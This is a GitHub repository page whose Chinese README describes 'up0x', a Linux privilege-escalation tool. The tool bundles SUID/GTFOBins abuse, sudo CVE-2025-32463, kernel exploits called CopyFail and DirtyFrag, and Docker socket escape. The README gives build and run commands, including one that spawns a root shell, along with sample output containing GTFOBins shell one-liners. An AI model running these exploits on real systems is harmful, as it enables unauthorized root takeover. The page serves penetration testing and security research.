Skip to content
g0ubu1iPublic

About

一款集合常见提权方法的提权工具

Topics

Resources

Stars

11 stars

Watchers

0 watching

Forks

Latest commit

 

History

10 Commits

Folders and files

Repository files navigation

up0x

一款集合常见提权方法的提权工具

项目简介

up0x 是一个面向渗透测试人员与安全研究者的 Linux 提权工具,集合了多种常见提权检测与利用方法,涵盖了 SUID 配置错误、CVE 漏洞利用(如 Sudo、特定年份的高危漏洞)等功能。

功能特性

  • 模块化架构:每个提权方式作为独立模块,支持扫描与利用两种模式
  • SUID 检测与利用:自动扫描系统中的 SUID 文件,利用 GTFOBins 方法提权
  • Sudo 漏洞利用:CVE-2025-32463 sudo -R 提权
  • CopyFail 集成:CVE-2026-31431 AF_ALG page cache overwrite,自动备份后覆写 su
  • DirtyFrag 集成:CVE-2026-43284 / CVE-2026-43500 ESP/XFRM + RxRPC 双重利用链
  • Docker Socket 逃逸:检测 docker 组权限并利用 docker.sock 提权

使用方法

编译

本项目使用 Go 语言开发,需先安装 Go 环境。

git clone https://github.com/g0ubu1i/up0x.git
cd up0x
go build -o up0x .

运行

# 显示帮助
./up0x

# 扫描所有漏洞
./up0x all

# 扫描指定模块
./up0x dirtyfrag

# 获取 root shell
./up0x copyfail --shell

# 以 root 权限运行指定二进制
./up0x copyfail --exec /path/to/binary

可用模块

模块名 别名 描述
copyfail cve-2026-31431 AF_ALG page cache overwrite,覆写 su 获取 root
dirtyfrag — ESP/XFRM + RxRPC 双重利用链
suid — SUID 二进制扫描(GTFOBins)
docker-sock docker Docker socket 逃逸
cve-2025-32463 sudo sudo -R 提权(1.9.14–1.9.17)
cve-2026-46331 — 内核漏洞(桩,待实现)

输出示例

up0x all 扫描模式:

██    ██ ██████   ██████  ██   ██ 
██    ██ ██   ██ ██  ████  ██ ██   
██    ██ ██████  ██ ██ ██   ███   
██    ██ ██      ████  ██  ██ ██  
 ██████  ██       ██████  ██   ██ 
  author: g0ubu1i

[+] up0x - scanning all vulnerabilities

[+] Kernel version: 6.8.0-45-generic
[+] Sudo version: 1.9.15

--- copyfail ---
[+] CVE-2026-31431 CopyFail target: /usr/bin/su (af_alg page cache overwrite)

--- dirtyfrag ---
[+] DirtyFrag candidate; loaded modules: esp4, esp6, rxrpc

--- suid ---
[+] SUID candidate: /usr/bin/vim [-c :py import os; ...]
[+] SUID candidate: /usr/bin/find [. -exec /bin/sh -p ; -quit]

--- docker-sock ---
[-] docker-sock: user not in docker group

--- cve-2025-32463 ---
[+] CVE-2025-32463 - sudo -R privilege escalation (sudo 1.9.14–1.9.17 affected)

支持的提权方式

  • SUID 程序利用(覆盖常见 GTFOBins,如 python3, vim, find, awk, bash, cp, less, more, nano, ed, env, expect, ftp, gdb, git, lua, perl, php, ruby, scp, tar, timeout, rsync, zsh, chmod 等)
  • 挂载 Docker Socket
  • Sudo 漏洞(如 CVE-2025-32463 等)
  • CopyFail / CVE-2026-31431(支持 amd64、386、arm64、arm payload)
  • DirtyFrag / CVE-2026-43284 / CVE-2026-43500(ESP/XFRM + RxRPC)
  • 可扩展更多 CVE 漏洞和自定义利用方式

免责声明

本工具仅供学习与安全测试使用,禁止用于非法用途。因使用本工具产生的任何后果与作者无关。

致谢


作者:g0ubu1i
仓库地址:https://github.com/g0ubu1i/up0x

About

一款集合常见提权方法的提权工具

Topics

Resources

Stars

11 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages